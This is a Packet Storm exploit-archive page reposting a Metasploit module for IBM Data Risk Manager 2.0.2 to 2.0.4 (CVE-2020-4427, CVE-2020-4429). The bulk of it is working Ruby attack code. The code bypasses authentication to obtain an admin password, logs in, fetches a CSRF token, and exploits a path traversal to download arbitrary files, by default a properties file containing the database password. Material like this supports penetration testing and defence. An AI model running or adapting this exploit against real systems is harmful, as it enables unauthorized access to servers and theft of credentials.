exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

IBM Data Risk Manager Arbitrary File Download

IBM Data Risk Manager Arbitrary File Download
Posted Aug 31, 2024
Authored by Pedro Ribeiro | Site metasploit.com

IBM Data Risk Manager (IDRM) contains two vulnerabilities that can be chained by an unauthenticated attacker to download arbitrary files off the system. The first is an unauthenticated bypass, followed by a path traversal. This Metasploit module exploits both vulnerabilities, giving an attacker the ability to download (non-root) files. A downloaded file is zipped, and this module also unzips it before storing it in the database. By default this module downloads Tomcats application.properties files, which contains the database password, amongst other sensitive data. At the time of disclosure, this is was a 0 day, but IBM later patched it and released their advisory. Versions 2.0.2 to 2.0.4 are vulnerable, version 2.0.1 is not.

tags | exploit, arbitrary, root, vulnerability
advisories | CVE-2020-4427, CVE-2020-4429
SHA-256 | 9ae2166292b30a40f14f7b3a6f76f04daf5d74302789dc5335a3d93c56fc8d0f

IBM Data Risk Manager Arbitrary File Download

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'IBM Data Risk Manager Arbitrary File Download',
'Description' => %q{
IBM Data Risk Manager (IDRM) contains two vulnerabilities that can be chained by
an unauthenticated attacker to download arbitrary files off the system.
The first is an unauthenticated bypass, followed by a path traversal.
This module exploits both vulnerabilities, giving an attacker the ability to download (non-root) files.
A downloaded file is zipped, and this module also unzips it before storing it in the database.
By default this module downloads Tomcat's application.properties files, which contains the
database password, amongst other sensitive data.
At the time of disclosure, this is was a 0 day, but IBM later patched it and released their advisory.
Versions 2.0.2 to 2.0.4 are vulnerable, version 2.0.1 is not.
},
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'DefaultOptions' => {
'SSL' => true
},
'References' => [
[ 'CVE', '2020-4427' ], # auth bypass
[ 'CVE', '2020-4429' ], # insecure default password
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ],
[ 'URL', 'https://www.ibm.com/blogs/psirt/security-bulletin-vulnerabilities-exist-in-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430/']
],
'DisclosureDate' => '2020-04-21',
'Actions' => [
['Download', { 'Description' => 'Download arbitrary file' }]
],
'DefaultAction' => 'Download',
'Notes' => {
'Reliability' => [ ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
}
)
)

register_options(
[
Opt::RPORT(8443),
OptString.new('TARGETURI', [ true, 'Default server path', '/']),
OptString.new('FILEPATH', [
false, 'Path of the file to download',
'/home/a3user/Tomcat/webapps/albatross/WEB-INF/classes/application.properties'
])
]
)
end

def check
# at the moment there is no better way to detect AND be stealthy about it
session_id = Rex::Text.rand_text_alpha(5..12)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),
'method' => 'GET',
'vars_get' => {
'id' => session_id,
'userName' => 'admin'
}
})
if res && (res.code == 302)
return Exploit::CheckCode::Detected
end

Exploit::CheckCode::Unknown
end

def create_session_id
# step 1: create a session ID and try to make it stick
session_id = Rex::Text.rand_text_alpha(5..12)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),
'method' => 'GET',
'vars_get' => {
'id' => session_id,
'userName' => 'admin'
}
})
if res && (res.code != 302)
fail_with(Failure::Unknown, "#{peer} - Failed to \"stick\" session ID")
end

print_good("#{peer} - Successfully \"stickied\" our session ID #{session_id}")

session_id
end

def free_the_admin(session_id)
# step 2: give the session ID to the server and have it grant us a free admin password
post_data = Rex::MIME::Message.new
post_data.add_part('', nil, nil, 'form-data; name="deviceid"')
post_data.add_part(Rex::Text.rand_text_alpha(8..15), nil, nil, 'form-data; name="password"')
post_data.add_part('admin', nil, nil, 'form-data; name="username"')
post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')
post_data.add_part(session_id, nil, nil, 'form-data; name="sessionId"')

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'),
'method' => 'POST',
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})

unless res && (res.code == 200) && res.body[/"data":"([0-9a-f-]{36})/]
fail_with(Failure::NoAccess, "#{peer} - Failed to obtain the admin password.")
end

password = Regexp.last_match(1)
print_good("#{peer} - We have obtained a new admin password #{password}")

password
end

def login_and_csrf(password)
# step 3: login and get an authenticated cookie
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'login'),
'method' => 'POST',
'vars_post' => {
'userName' => 'admin',
'password' => password
}
})
unless res && (res.code == 302) && res.get_cookies
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as an admin.")
end

print_good("#{peer} - ... and are authenticated as an admin!")
cookie = res.get_cookies
url = res.redirection.to_s

# step 4: obtain CSRF header in order to be able to make valid requests
res = send_request_cgi({
'uri' => url,
'method' => 'GET',
'cookie' => cookie
})

unless res && (res.code == 200) && res.body =~ /var csrfToken = "([0-9a-f-]{36})";/
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate obtain CSRF cookie.")
end
csrf = Regexp.last_match(1)

return cookie, csrf
end

def run
# step 1: create a session ID and try to make it stick
session_id = create_session_id

# step 2: give the session ID to the server and have it grant us a free admin password
password = free_the_admin(session_id)

# step 3: login and get an authenticated cookie
# step 4: obtain CSRF header in order to be able to make valid requests
cookie, csrf = login_and_csrf(password)

# step 5: download the file!
post_data = {
'instanceId' => 'local_host',
'logLevel' => 'DEBUG',
'logFileNameList' => "../../../../..#{datastore['FILEPATH']}"
}.to_json

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'albatross', 'eurekaservice', 'fetchLogFiles'),
'method' => 'POST',
'cookie' => cookie,
'headers' => { 'CSRF-TOKEN' => csrf },
'data' => post_data.to_s,
'ctype' => 'text/json'
})

unless res && (res.code == 200) && !res.body.empty?
fail_with(Failure::Unknown, "#{peer} - Failed to download file #{datastore['FILEPATH']}")
end

Zip::File.open_buffer(res.body) do |zipfile|
# Not sure what happens if we receive garbage that's not a ZIP file, but that shouldn't
# happen? Either we get nothing or a proper zip file.
file = zipfile.find_entry(File.basename(datastore['FILEPATH']))
unless file
fail_with(Failure::Unknown, "#{peer} - Incorrect file downloaded!")
end

filedata = zipfile.read(file)
vprint_line(filedata.to_s)
fname = File.basename(datastore['FILEPATH'])

path = store_loot(
'IBM_DRM.http',
'application/octet-stream',
rhost,
filedata,
fname
)
print_good("File saved in: #{path}")
end
end
end
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    21 Files
  • 27
    Aug 27th
    28 Files
  • 28
    Aug 28th
    15 Files
  • 29
    Aug 29th
    41 Files
  • 30
    Aug 30th
    13 Files
  • 31
    Aug 31st
    467 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close